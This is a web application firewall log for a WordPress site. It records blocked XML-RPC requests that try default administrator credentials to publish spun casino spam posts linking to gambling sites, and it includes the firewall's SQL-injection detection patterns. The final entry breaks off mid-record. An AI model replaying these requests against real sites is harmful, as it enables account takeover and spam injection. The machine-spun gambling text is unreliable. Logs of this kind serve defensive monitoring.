File: /www/wwwlogs/free_waf_log/dewenlabels.com_2026-05-26.log
["2026-05-26 00:34:16","98.98.33.34","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Genius out of Oz Ports Game Apps on the internet Play]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<p>If here’s to name probably one of the most commonly talked about have, <a href=\"https:\/\/happy-gambler.com\/superman\/rtp\/\">https:\/\/happy-gambler.com\/superman\/rtp\/<\/a> following... For many who’re also keen on pokies, it’s well worth seeking the three to find you so you can caters to its options greatest. One of the most enjoyable and you may novel regions of the fresh Lightning Hook pokies servers is their unmarried pantry alternatives. <!--more--> Indeed there isn’t any limitation to your Huge Jackpot and that starts of the newest 10,100 and you will goes on until they’s received. Aristocrat Very Hook condition game is special in ways, however, one of the most celebrated features is the Lightning Hook setting. The new jackpots range from mini to larger, to the huge jackpot giving people the capacity to winnings an excellent higher lifestyle-modifying amount of cash.<\/p>\r\n\r\n<h2 id=\"toc-0\">Red-colored Brick Road<\/h2>\n<p>While you are the type of on the internet position player whom provides spinning the newest reels when you're on the move, you may be willing to learn that The fresh Wizard from Oz position out of WMS try fully enhanced for use on the both pc and you may mobile phones along with tablets and cellphones run on ios and you will Android. Special bonus game variations and you may cities of one's Emerald Area bonus are the cowardly lion's dark tree, the newest tin mans orchard, the new castle of the sinful witch, plus the scarecrow's community. It is important that your twice-make sure that you’re pleased with both money well worth and you will the amount of energetic paylines before spinning the brand new reels when the betting by hand. That have a whopping 29 potential effective paylines, lucky players might found a max commission from ten,100 video game coins.<\/p>\r\n<h2 id=\"toc-1\">On the Genius away from Oz Slots Game<\/h2>\n<p>If a new player is actually one of several profile lands but will not find the character, he's repaid on the red-colored brick road. If player makes its alternatives, it would be shown if they have picked Dorothy otherwise a journey returning to the fresh purple stone way to select the new emeralds once again. Going for a gold charm at night tree can also be let you know the brand new lion or it can reveal that the ball player is certian straight back for the reddish brick path to like once more from the emeralds.<\/p>\r\n\r\n<ul><li>Inside the display to the Genius out-away from Ounce base video game, to be able to they’s a slots online game having four reels, around three rows, or over so you can 30 mesmerising paylines about what in order to collect loads of gleaming development.<\/li><li>AlbertaBritish ColumbiaManitobaNew BrunswickNewfoundland and LabradorNorthwest TerritoriesNova ScotiaNunavutOntarioPrince Edward IslandQuebecSaskatchewanYukon<\/li><li>In addition provides victories just in case paired, the brand new wild symbol also can substitute for the brand new icons however, the new Setting and you will Jackpot of them.<\/li><li>They have been continuously tinkering with structure and you may extra features distinctions so you can keep anything fresh and additional soak people with each launch.<\/li><li>As usual, when it comes to casino slots developed by WMS, the new picture is actually astonishing.<\/li><li>SG Digital focuses on changing Williams' belongings-dependent strikes having biggest signed up names.<\/li><\/ul>\n<img src=\"https:\/\/www.spicycasinos.com\/wp-content\/uploads\/2023\/06\/cresus_play_casino_logo_mini.png\" alt=\"online casino where you win real money\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Just what character manage paylines gamble on the Wizard out of Ounce local casino slot games? It assurances effortless entertainment for over 90percent from cell phones in the Ontario now. Constructed with HTML5 tech, they adapts effortlessly to different display screen versions, which assurances high quality game play to your cell phones as well as tablets. To try out otherwise succeeding within this video game cannot ensure upcoming achievements inside the real cash gambling This game isn’t designed for actual money gambling, and therefore people payouts can not be cashed out.<\/p>\n<p>The fresh Genius out of Oz slot video game also offers an exciting gameplay experience featuring its four reels and you will ten paylines. For many who’re want to see the newest Emerald Town, look no further than it position game. The game symbol acts as the newest Insane icon, it’s nearly just like getting your own private guardian angel. If you’re also keen on The new Genius from Oz, you’ll love the fresh symbols within this position video game! These symbols shell out 2x to help you 10x to have step three or step three coordinating symbols for the active paylines, and therefore hinges on the new symbol. A minimal-worth winning consolidation comes with low-value signs including to play card signs (10, J, Q, K, A).<\/p>\r\n<h2 id=\"toc-4\">Hit they Rich! Gambling establishment Ports Game 1.9.7295 screenshots (<\/h2>\n<p>Habit or achievements during the personal playing will not mean upcoming success in the real cash gaming. This video game is intended for a grownup audience and won't render real money gaming otherwise the opportunity to win real money otherwise honours. Continue rotating to help you winnings added bonus credits from the best 100 percent free local casino slot machine game. The constant pop ups and make inside the software requests try obnoxious.<\/p>\r\n<h2 id=\"toc-5\">Genius of Ounce ports games: away from house gambling enterprises to your web<\/h2>\n<img src=\"https:\/\/lookaside.fbsbx.com\/lookaside\/crawler\/media\/?media_id=10159039279586639\" alt=\"casino app games to win real money\" border=\"1\" align=\"right\" >\n<p>Professionals must very first go for the number of paylines that they really wants to end up being triggered in their bet. If you'd like to disable within the-video game purchases, delight shut down the fresh inside-application requests on your cellular telephone otherwise pill’s Options. The online game is free of charge playing; however, in-software sales are around for additional articles as well as in-games currency.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260525T16:34:14<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[genius-out-of-oz-ports-game-apps-on-the-internet-play]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:7233\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Genius out of Oz Ports Game Apps on the internet Play]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<p>If here’s to name probably one of the most commonly talked about have, <a href=\"https:\/\/happy-gambler.com\/superman\/rtp\/\">https:\/\/happy-gambler.com\/superman\/rtp\/<\/a> following... For many who’re also keen on pokies, it’s well worth seeking the three to find you so you can caters to its options greatest. One of the most enjoyable and you may novel regions of the fresh Lightning Hook pokies servers is their unmarried pantry alternatives. <!--more--> Indeed there isn’t any limitation to your Huge Jackpot and that starts of the newest 10,100 and you will goes on until they’s received. Aristocrat Very Hook condition game is special in ways, however, one of the most celebrated features is the Lightning Hook setting. The new jackpots range from mini to larger, to the huge jackpot giving people the capacity to winnings an excellent higher lifestyle-modifying amount of cash.<\/p>\r\n\r\n<h2 id=\"toc-0\">Red-colored Brick Road<\/h2>\n<p>While you are the type of on the internet position player whom provides spinning the newest reels when you're on the move, you may be willing to learn that The fresh Wizard from Oz position out of WMS try fully enhanced for use on the both pc and you may mobile phones along with tablets and cellphones run on ios and you will Android. Special bonus game variations and you may cities of one's Emerald Area bonus are the cowardly lion's dark tree, the newest tin mans orchard, the new castle of the sinful witch, plus the scarecrow's community. It is important that your twice-make sure that you’re pleased with both money well worth and you will the amount of energetic paylines before spinning the brand new reels when the betting by hand. That have a whopping 29 potential effective paylines, lucky players might found a max commission from ten,100 video game coins.<\/p>\r\n<h2 id=\"toc-1\">On the Genius away from Oz Slots Game<\/h2>\n<p>If a new player is actually one of several profile lands but will not find the character, he's repaid on the red-colored brick road. If player makes its alternatives, it would be shown if they have picked Dorothy otherwise a journey returning to the fresh purple stone way to select the new emeralds once again. Going for a gold charm at night tree can also be let you know the brand new lion or it can reveal that the ball player is certian straight back for the reddish brick path to like once more from the emeralds.<\/p>\r\n\r\n<ul><li>Inside the display to the Genius out-away from Ounce base video game, to be able to they’s a slots online game having four reels, around three rows, or over so you can 30 mesmerising paylines about what in order to collect loads of gleaming development.<\/li><li>AlbertaBritish ColumbiaManitobaNew BrunswickNewfoundland and LabradorNorthwest TerritoriesNova ScotiaNunavutOntarioPrince Edward IslandQuebecSaskatchewanYukon<\/li><li>In addition provides victories just in case paired, the brand new wild symbol also can substitute for the brand new icons however, the new Setting and you will Jackpot of them.<\/li><li>They have been continuously tinkering with structure and you may extra features distinctions so you can keep anything fresh and additional soak people with each launch.<\/li><li>As usual, when it comes to casino slots developed by WMS, the new picture is actually astonishing.<\/li><li>SG Digital focuses on changing Williams' belongings-dependent strikes having biggest signed up names.<\/li><\/ul>\n<img src=\"https:\/\/www.spicycasinos.com\/wp-content\/uploads\/2023\/06\/cresus_play_casino_logo_mini.png\" alt=\"online casino where you win real money\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Just what character manage paylines gamble on the Wizard out of Ounce local casino slot games? It assurances effortless entertainment for over 90percent from cell phones in the Ontario now. Constructed with HTML5 tech, they adapts effortlessly to different display screen versions, which assurances high quality game play to your cell phones as well as tablets. To try out otherwise succeeding within this video game cannot ensure upcoming achievements inside the real cash gambling This game isn’t designed for actual money gambling, and therefore people payouts can not be cashed out.<\/p>\n<p>The fresh Genius out of Oz slot video game also offers an exciting gameplay experience featuring its four reels and you will ten paylines. For many who’re want to see the newest Emerald Town, look no further than it position game. The game symbol acts as the newest Insane icon, it’s nearly just like getting your own private guardian angel. If you’re also keen on The new Genius from Oz, you’ll love the fresh symbols within this position video game! These symbols shell out 2x to help you 10x to have step three or step three coordinating symbols for the active paylines, and therefore hinges on the new symbol. A minimal-worth winning consolidation comes with low-value signs including to play card signs (10, J, Q, K, A).<\/p>\r\n<h2 id=\"toc-4\">Hit they Rich! Gambling establishment Ports Game 1.9.7295 screenshots (<\/h2>\n<p>Habit or achievements during the personal playing will not mean upcoming success in the real cash gaming. This video game is intended for a grownup audience and won't render real money gaming otherwise the opportunity to win real money otherwise honours. Continue rotating to help you winnings added bonus credits from the best 100 percent free local casino slot machine game. The constant pop ups and make inside the software requests try obnoxious.<\/p>\r\n<h2 id=\"toc-5\">Genius of Ounce ports games: away from house gambling enterprises to your web<\/h2>\n<img src=\"https:\/\/lookaside.fbsbx.com\/lookaside\/crawler\/media\/?media_id=10159039279586639\" alt=\"casino app games to win real money\" border=\"1\" align=\"right\" >\n<p>Professionals must very first go for the number of paylines that they really wants to end up being triggered in their bet. If you'd like to disable within the-video game purchases, delight shut down the fresh inside-application requests on your cellular telephone otherwise pill’s Options. The online game is free of charge playing; however, in-software sales are around for additional articles as well as in-games currency.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260525T16:34:14<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[genius-out-of-oz-ports-game-apps-on-the-internet-play]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>"]
["2026-05-26 00:34:16","98.98.33.34","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n <value><int>0<\/int><\/value>\r\n <value><string>admin<\/string><\/value>\r\n <value><string>Admin@123<\/string><\/value>\r\n <value><struct>\r\n <member><name>title<\/name><value><![CDATA[Genius out of Oz Ports Game Apps on the internet Play]]><\/value><\/member>\r\n <member><name>description<\/name><value><![CDATA[<p>If here’s to name probably one of the most commonly talked about have, <a href=\"https:\/\/happy-gambler.com\/superman\/rtp\/\">https:\/\/happy-gambler.com\/superman\/rtp\/<\/a> following... For many who’re also keen on pokies, it’s well worth seeking the three to find you so you can caters to its options greatest. One of the most enjoyable and you may novel regions of the fresh Lightning Hook pokies servers is their unmarried pantry alternatives. <!--more--> Indeed there isn’t any limitation to your Huge Jackpot and that starts of the newest 10,100 and you will goes on until they’s received. Aristocrat Very Hook condition game is special in ways, however, one of the most celebrated features is the Lightning Hook setting. The new jackpots range from mini to larger, to the huge jackpot giving people the capacity to winnings an excellent higher lifestyle-modifying amount of cash.<\/p>\r\n\r\n<h2 id=\"toc-0\">Red-colored Brick Road<\/h2>\n<p>While you are the type of on the internet position player whom provides spinning the newest reels when you're on the move, you may be willing to learn that The fresh Wizard from Oz position out of WMS try fully enhanced for use on the both pc and you may mobile phones along with tablets and cellphones run on ios and you will Android. Special bonus game variations and you may cities of one's Emerald Area bonus are the cowardly lion's dark tree, the newest tin mans orchard, the new castle of the sinful witch, plus the scarecrow's community. It is important that your twice-make sure that you’re pleased with both money well worth and you will the amount of energetic paylines before spinning the brand new reels when the betting by hand. That have a whopping 29 potential effective paylines, lucky players might found a max commission from ten,100 video game coins.<\/p>\r\n<h2 id=\"toc-1\">On the Genius away from Oz Slots Game<\/h2>\n<p>If a new player is actually one of several profile lands but will not find the character, he's repaid on the red-colored brick road. If player makes its alternatives, it would be shown if they have picked Dorothy otherwise a journey returning to the fresh purple stone way to select the new emeralds once again. Going for a gold charm at night tree can also be let you know the brand new lion or it can reveal that the ball player is certian straight back for the reddish brick path to like once more from the emeralds.<\/p>\r\n\r\n<ul><li>Inside the display to the Genius out-away from Ounce base video game, to be able to they’s a slots online game having four reels, around three rows, or over so you can 30 mesmerising paylines about what in order to collect loads of gleaming development.<\/li><li>AlbertaBritish ColumbiaManitobaNew BrunswickNewfoundland and LabradorNorthwest TerritoriesNova ScotiaNunavutOntarioPrince Edward IslandQuebecSaskatchewanYukon<\/li><li>In addition provides victories just in case paired, the brand new wild symbol also can substitute for the brand new icons however, the new Setting and you will Jackpot of them.<\/li><li>They have been continuously tinkering with structure and you may extra features distinctions so you can keep anything fresh and additional soak people with each launch.<\/li><li>As usual, when it comes to casino slots developed by WMS, the new picture is actually astonishing.<\/li><li>SG Digital focuses on changing Williams' belongings-dependent strikes having biggest signed up names.<\/li><\/ul>\n<img src=\"https:\/\/www.spicycasinos.com\/wp-content\/uploads\/2023\/06\/cresus_play_casino_logo_mini.png\" alt=\"online casino where you win real money\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Just what character manage paylines gamble on the Wizard out of Ounce local casino slot games? It assurances effortless entertainment for over 90percent from cell phones in the Ontario now. Constructed with HTML5 tech, they adapts effortlessly to different display screen versions, which assurances high quality game play to your cell phones as well as tablets. To try out otherwise succeeding within this video game cannot ensure upcoming achievements inside the real cash gambling This game isn’t designed for actual money gambling, and therefore people payouts can not be cashed out.<\/p>\n<p>The fresh Genius out of Oz slot video game also offers an exciting gameplay experience featuring its four reels and you will ten paylines. For many who’re want to see the newest Emerald Town, look no further than it position game. The game symbol acts as the newest Insane icon, it’s nearly just like getting your own private guardian angel. If you’re also keen on The new Genius from Oz, you’ll love the fresh symbols within this position video game! These symbols shell out 2x to help you 10x to have step three or step three coordinating symbols for the active paylines, and therefore hinges on the new symbol. A minimal-worth winning consolidation comes with low-value signs including to play card signs (10, J, Q, K, A).<\/p>\r\n<h2 id=\"toc-4\">Hit they Rich! Gambling establishment Ports Game 1.9.7295 screenshots (<\/h2>\n<p>Habit or achievements during the personal playing will not mean upcoming success in the real cash gaming. This video game is intended for a grownup audience and won't render real money gaming otherwise the opportunity to win real money otherwise honours. Continue rotating to help you winnings added bonus credits from the best 100 percent free local casino slot machine game. The constant pop ups and make inside the software requests try obnoxious.<\/p>\r\n<h2 id=\"toc-5\">Genius of Ounce ports games: away from house gambling enterprises to your web<\/h2>\n<img src=\"https:\/\/lookaside.fbsbx.com\/lookaside\/crawler\/media\/?media_id=10159039279586639\" alt=\"casino app games to win real money\" border=\"1\" align=\"right\" >\n<p>Professionals must very first go for the number of paylines that they really wants to end up being triggered in their bet. If you'd like to disable within the-video game purchases, delight shut down the fresh inside-application requests on your cellular telephone otherwise pill’s Options. The online game is free of charge playing; however, in-software sales are around for additional articles as well as in-games currency.<\/p>]]><\/value><\/member>\r\n <member><name>dateCreated<\/name><value><dateTime.iso8601>20260525T16:34:16<\/dateTime.iso8601><\/value><\/member>\r\n <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n \r\n <member><name>custom_fields<\/name><value><array><data>\r\n <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:dewenlabels.com\ncontent-length:7318\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n <value><int>0<\/int><\/value>\r\n <value><string>admin<\/string><\/value>\r\n <value><string>Admin@123<\/string><\/value>\r\n <value><struct>\r\n <member><name>title<\/name><value><![CDATA[Genius out of Oz Ports Game Apps on the internet Play]]><\/value><\/member>\r\n <member><name>description<\/name><value><![CDATA[<p>If here’s to name probably one of the most commonly talked about have, <a href=\"https:\/\/happy-gambler.com\/superman\/rtp\/\">https:\/\/happy-gambler.com\/superman\/rtp\/<\/a> following... For many who’re also keen on pokies, it’s well worth seeking the three to find you so you can caters to its options greatest. One of the most enjoyable and you may novel regions of the fresh Lightning Hook pokies servers is their unmarried pantry alternatives. <!--more--> Indeed there isn’t any limitation to your Huge Jackpot and that starts of the newest 10,100 and you will goes on until they’s received. Aristocrat Very Hook condition game is special in ways, however, one of the most celebrated features is the Lightning Hook setting. The new jackpots range from mini to larger, to the huge jackpot giving people the capacity to winnings an excellent higher lifestyle-modifying amount of cash.<\/p>\r\n\r\n<h2 id=\"toc-0\">Red-colored Brick Road<\/h2>\n<p>While you are the type of on the internet position player whom provides spinning the newest reels when you're on the move, you may be willing to learn that The fresh Wizard from Oz position out of WMS try fully enhanced for use on the both pc and you may mobile phones along with tablets and cellphones run on ios and you will Android. Special bonus game variations and you may cities of one's Emerald Area bonus are the cowardly lion's dark tree, the newest tin mans orchard, the new castle of the sinful witch, plus the scarecrow's community. It is important that your twice-make sure that you’re pleased with both money well worth and you will the amount of energetic paylines before spinning the brand new reels when the betting by hand. That have a whopping 29 potential effective paylines, lucky players might found a max commission from ten,100 video game coins.<\/p>\r\n<h2 id=\"toc-1\">On the Genius away from Oz Slots Game<\/h2>\n<p>If a new player is actually one of several profile lands but will not find the character, he's repaid on the red-colored brick road. If player makes its alternatives, it would be shown if they have picked Dorothy otherwise a journey returning to the fresh purple stone way to select the new emeralds once again. Going for a gold charm at night tree can also be let you know the brand new lion or it can reveal that the ball player is certian straight back for the reddish brick path to like once more from the emeralds.<\/p>\r\n\r\n<ul><li>Inside the display to the Genius out-away from Ounce base video game, to be able to they’s a slots online game having four reels, around three rows, or over so you can 30 mesmerising paylines about what in order to collect loads of gleaming development.<\/li><li>AlbertaBritish ColumbiaManitobaNew BrunswickNewfoundland and LabradorNorthwest TerritoriesNova ScotiaNunavutOntarioPrince Edward IslandQuebecSaskatchewanYukon<\/li><li>In addition provides victories just in case paired, the brand new wild symbol also can substitute for the brand new icons however, the new Setting and you will Jackpot of them.<\/li><li>They have been continuously tinkering with structure and you may extra features distinctions so you can keep anything fresh and additional soak people with each launch.<\/li><li>As usual, when it comes to casino slots developed by WMS, the new picture is actually astonishing.<\/li><li>SG Digital focuses on changing Williams' belongings-dependent strikes having biggest signed up names.<\/li><\/ul>\n<img src=\"https:\/\/www.spicycasinos.com\/wp-content\/uploads\/2023\/06\/cresus_play_casino_logo_mini.png\" alt=\"online casino where you win real money\" border=\"1\" align=\"left\" style=\"padding: 10px;\">\n<p>Just what character manage paylines gamble on the Wizard out of Ounce local casino slot games? It assurances effortless entertainment for over 90percent from cell phones in the Ontario now. Constructed with HTML5 tech, they adapts effortlessly to different display screen versions, which assurances high quality game play to your cell phones as well as tablets. To try out otherwise succeeding within this video game cannot ensure upcoming achievements inside the real cash gambling This game isn’t designed for actual money gambling, and therefore people payouts can not be cashed out.<\/p>\n<p>The fresh Genius out of Oz slot video game also offers an exciting gameplay experience featuring its four reels and you will ten paylines. For many who’re want to see the newest Emerald Town, look no further than it position game. The game symbol acts as the newest Insane icon, it’s nearly just like getting your own private guardian angel. If you’re also keen on The new Genius from Oz, you’ll love the fresh symbols within this position video game! These symbols shell out 2x to help you 10x to have step three or step three coordinating symbols for the active paylines, and therefore hinges on the new symbol. A minimal-worth winning consolidation comes with low-value signs including to play card signs (10, J, Q, K, A).<\/p>\r\n<h2 id=\"toc-4\">Hit they Rich! Gambling establishment Ports Game 1.9.7295 screenshots (<\/h2>\n<p>Habit or achievements during the personal playing will not mean upcoming success in the real cash gaming. This video game is intended for a grownup audience and won't render real money gaming otherwise the opportunity to win real money otherwise honours. Continue rotating to help you winnings added bonus credits from the best 100 percent free local casino slot machine game. The constant pop ups and make inside the software requests try obnoxious.<\/p>\r\n<h2 id=\"toc-5\">Genius of Ounce ports games: away from house gambling enterprises to your web<\/h2>\n<img src=\"https:\/\/lookaside.fbsbx.com\/lookaside\/crawler\/media\/?media_id=10159039279586639\" alt=\"casino app games to win real money\" border=\"1\" align=\"right\" >\n<p>Professionals must very first go for the number of paylines that they really wants to end up being triggered in their bet. If you'd like to disable within the-video game purchases, delight shut down the fresh inside-application requests on your cellular telephone otherwise pill’s Options. The online game is free of charge playing; however, in-software sales are around for additional articles as well as in-games currency.<\/p>]]><\/value><\/member>\r\n <member><name>dateCreated<\/name><value><dateTime.iso8601>20260525T16:34:16<\/dateTime.iso8601><\/value><\/member>\r\n <member><name>mt_allow_comments<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>mt_allow_pings<\/name><value><int>0<\/int><\/value><\/member>\r\n <member><name>post_type<\/name><value><string>post<\/string><\/value><\/member>\r\n <member><name>mt_keywords<\/name><value><string><\/string><\/value><\/member>\r\n \r\n <member><name>custom_fields<\/name><value><array><data>\r\n <value><string><\/string><\/value>\r\n<\/data><\/array><\/value><\/member>\r\n<\/struct><\/value>\r\n <value><boolean>1<\/boolean><\/value>\r\n<\/data><\/array><\/value><\/param>\r\n<\/params><\/methodCall>"]
["2026-05-26 01:06:50","185.153.197.250","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","\\s+(or|xor|and)\\s+(=|<|>|'|\") >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Totally free Slots Enjoy twenty-five,one hundred thousand Of the greatest Online Ports 2026]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<p>Whether or not you’re also here to understand more about the fresh game otherwise delight in exposure-totally free recreation, our very own demonstration ports deliver <a href=\"https:\/\/kings-casino.org\/nl\/app\/\">kings-casino.org\/nl\/app\/<\/a> a seamless, no-issues feel. Yes, it’s definitely you'll to tackle online slots free-of-charge on the an excellent mobile and you may a tablet, for example. Just look at the merchant’s term regarding browse pub and try our page intent on they and its best harbors. If you’re also awaiting examining and you will discovering the best position developers in the usa, Gamesville is where to be.<\/p>\r\n<p>Everything you need to create is set the new range bet worth and click to the \"Spin\" or \"Spin.\" Such as this, the latest reels have a tendency to spin and create the latest combos from signs towards the brand new display screen. 100 percent free slots are the same as you can gamble real money slots into the Us gambling enterprises. It is anything i made sure off to ensure the usability are optimal, no matter what systems, internet browser, otherwise device style of your’re having fun with. The Slotjava site is made to become completely responsive, and therefore means that it does adjust to the computer and you can the fresh display screen your’re also using.<\/p>\r\n<p>You additionally have to ensure that you’lso are to try out within a legit casino. For those who’re always a classic house-created slot machine, their clips option performs in the same manner. Certain online casinos provide a no-deposit extra of totally free spins that can help you get started and increase your debts for much longer gameplay. In addition to this, you can also fool around with bonuses towards very own work for. The initial and more than demanded distinct action in this case is always to choose servers with high Go back to Player (RTP) rate.<\/p>\r\n<p>You can become familiar with people bonus rounds or video game technicians. Within this modern age from internet casino playing, extremely web sites are designed to your HTML5 tech, such as the ideal-top quality local casino systems highlighted on this page. For folks who’re also trying have the enjoyable from on line slots versus the risk, totally free game are great.<\/p>\r\n<p>” In case your answer is “no,” it’s time for you bring a break. One of several best techniques to gamble responsibly is always to evaluate that have yourself the few minutes and inquire, “In the morning We having a great time? We recommend mode rigid limitations and you may sticking to him or her, including using the devices you to United states casinos on the internet bring to keep your play in this the individuals restrictions. The blend of themed extra rounds, broadening reels, and jackpot-linked aspects keeps assisted secure the business in front of members for many years. Certainly Playtech’s extremely legendary and you may continuously common harbors are Chronilogical age of brand new Gods, a great mythological adventure collection who may have spawned multiple sequels and you will connected progressive jackpots. The facility is actually generally known for the large-development viewpoints, strong branded profiles, and diverse content slate one to covers vintage dining table online game, progressive jackpots, and have-rich clips slots.<\/p>\r\n<p>These are gambling enterprise ports free internet games you do not must obtain first off to relax and play. You don't have to help you put real money, due to the fact most of the position games in this article was liberated to gamble from inside the trial ports, 24\/7, no obtain and you can subscription necessary. Only take pleasure in among the many harbors games for free and leave the fresh new incredibly dull criminal background checks so you're able to us. Take pleasure in vintage step 3-reel Las vegas harbors, progressive video clips harbors having free spin incentives, and you may everything in anywhere between, right here free-of-charge.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260525T17:06:49<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[totally-free-slots-enjoy- twenty-five,one-hundred-thousand-of-the-greatest-online-ports-2026]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\ncontent-type:text\/xml; charset=utf-8\nhost:47.254.126.238\ncontent-length:5128\nconnection:Close\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Totally free Slots Enjoy twenty-five,one hundred thousand Of the greatest Online Ports 2026]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<p>Whether or not you’re also here to understand more about the fresh game otherwise delight in exposure-totally free recreation, our very own demonstration ports deliver <a href=\"https:\/\/kings-casino.org\/nl\/app\/\">kings-casino.org\/nl\/app\/<\/a> a seamless, no-issues feel. Yes, it’s definitely you'll to tackle online slots free-of-charge on the an excellent mobile and you may a tablet, for example. Just look at the merchant’s term regarding browse pub and try our page intent on they and its best harbors. If you’re also awaiting examining and you will discovering the best position developers in the usa, Gamesville is where to be.<\/p>\r\n<p>Everything you need to create is set the new range bet worth and click to the \"Spin\" or \"Spin.\" Such as this, the latest reels have a tendency to spin and create the latest combos from signs towards the brand new display screen. 100 percent free slots are the same as you can gamble real money slots into the Us gambling enterprises. It is anything i made sure off to ensure the usability are optimal, no matter what systems, internet browser, otherwise device style of your’re having fun with. The Slotjava site is made to become completely responsive, and therefore means that it does adjust to the computer and you can the fresh display screen your’re also using.<\/p>\r\n<p>You additionally have to ensure that you’lso are to try out within a legit casino. For those who’re always a classic house-created slot machine, their clips option performs in the same manner. Certain online casinos provide a no-deposit extra of totally free spins that can help you get started and increase your debts for much longer gameplay. In addition to this, you can also fool around with bonuses towards very own work for. The initial and more than demanded distinct action in this case is always to choose servers with high Go back to Player (RTP) rate.<\/p>\r\n<p>You can become familiar with people bonus rounds or video game technicians. Within this modern age from internet casino playing, extremely web sites are designed to your HTML5 tech, such as the ideal-top quality local casino systems highlighted on this page. For folks who’re also trying have the enjoyable from on line slots versus the risk, totally free game are 